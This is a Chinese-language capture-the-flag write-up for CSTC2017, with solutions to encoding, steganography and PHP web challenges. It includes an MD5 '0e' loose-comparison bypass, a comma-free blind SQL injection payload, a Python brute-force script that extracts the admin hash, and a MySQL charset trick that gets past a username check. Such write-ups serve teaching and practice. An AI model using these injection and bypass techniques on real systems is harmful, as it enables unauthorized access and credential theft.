签到-欢迎来到CSTC2017
10
欢迎来到CSTC2017
ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=
Base64解密:flag{WeiSuoFyu_BieLang}
种棵树吧
200
图片里有一棵树,树上结满胜利的果实!
下载后解压 有两张图
先看2222.jpg 右键属性详细信息
得到:Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
再看1111.jpg,用Stegsolve查看
看到图片结束后有压缩包 ,改后缀解压
得到1.gif,但图片打不开,记事本打开,发现头文件缺少GIF8 加上去就可以打开了。
然后将GIF图的字母提权出来。
得到In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}
所以我们得到了
In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}
Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
百度得知是二叉树的中序遍历和后序遍历。
已知一棵二叉树的后序序列和中序序列,构造该二叉树的过程如下:
1.根据后序序列的最后一个元素建立根结点;
2.在中序序列中找到该元素,确定根结点的左右子树的中序序列;
3.在后序序列中确定左右子树的后序序列;
4.由左子树的后序序列和中序序列建立左子树;
5.由右子树的后序序列和中序序列建立右子树.
所以画出该二叉树
一行行读: *hI!HEReIsYourFLAG:flag{n52V-jpU6d_kx8zw}
签到题
50
比赛开始啦~一盘小菜送上~
注意flag格式是需要加上flag{}的。
http://117.34.111.15:84/
右键源代码:
Username 要字母 ,password要数字。但它们md5的值要一样。
所以想到了php md5 0e的缺陷:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
找到了md5('240610708') == md5('QNKCDZO')
所以 Username =QNKCDZO password =240610708
右键源代码:
传入的message要json格式的,出来的key要==$key
但我们不知道$key的值。想到了php松散比较。
字符串 == TRUE 为TRUE
抽抽奖
75
抽奖呗
http://117.34.111.15/
访问后抓包查看
把jsfuck代码复制出来,解密得到:
so easy!
125
http://117.34.111.15:89/
观察源代码:
<?php include("config.php");$conn ->query("set names utf8");function randStr($lenth=32){$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";$str = "";while($lenth>0){$str.=substr($strBase,rand(0,strlen($strBase)-1),1);$lenth --;}return $str;
}if($install){$sql = "create table `user` (`id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,`username` varchar(30) NOT NULL,`passwd` varchar(32) NOT NULL,`role` varchar(30) NOT NULL)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";if($conn->query($sql)){$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";$conn -> query($sql);}
}function filter($str){$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){die("you can't input this illegal char!");}return $str; }function show($username){global $conn;$sql = "select role from `user` where username ='".$username."'";$res = $conn ->query($sql);if($res->num_rows>0){echo "$username is ".$res->fetch_assoc()['role'];}else{die("Don't have this user!");}
}function login($username,$passwd){global $conn;global $flag;$username = trim(strtolower($username));$passwd = trim(strtolower($passwd));if($username == 'admin'){die("you can't login this as admin!");}$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";$res = $conn ->query($sql);if($res->num_rows>0){if($res->fetch_assoc()['role'] === 'admin') exit($flag);}else{echo "sorry,username or passwd error!"; }}function source(){highlight_file(__FILE__);
}$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";$action = isset($_GET['action'])?filter($_GET['action']):"source";switch($action){case "source": source(); break ;case "login" : login($username,$passwd);break;case "show" : show($username);break;
}
可看到filter()函数
过滤了这么多...
‘ select from where ( ) = 都能使用。
所以想到使用盲注
访问 http://117.34.111.15:89/?action=show
Post 数据为 admin'=(TRUE)='1 返回正确
所以构造语句
因为过滤了逗号,所以语句为
username=admin'=(substring((select(passwd)from(user))from(-1))='8')='1
最后一位为8
后两位为88
写脚本跑
#!usr/bin/env python
#!coding=utf-8__author__ = 'zhengjim'import requestsurl="http://117.34.111.15:89/?action=show"
ans=""
dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in xrange(33):for j in dic:data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))='{1}{2}')='1".format(str(i),str(j),str(ans))}content=requests.post(url,data=data).contentif len(content)>30:ans =j+ansprint ansbreak
跑得密码
然后在login出登入。
但传入username如果为admin ,就要退出。
在https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html p牛这篇文章里。
我们可以看到:
就是admin%c2 在php中就不为admin,但在mysql查询的就是为admin,所以可以绕过
。
原因就是Mysql字段的字符集和php mysqli客户端设置的字符集不相同。Mysql在转换字符集的时候,将不完整的字符给忽略了。
只写了这么多。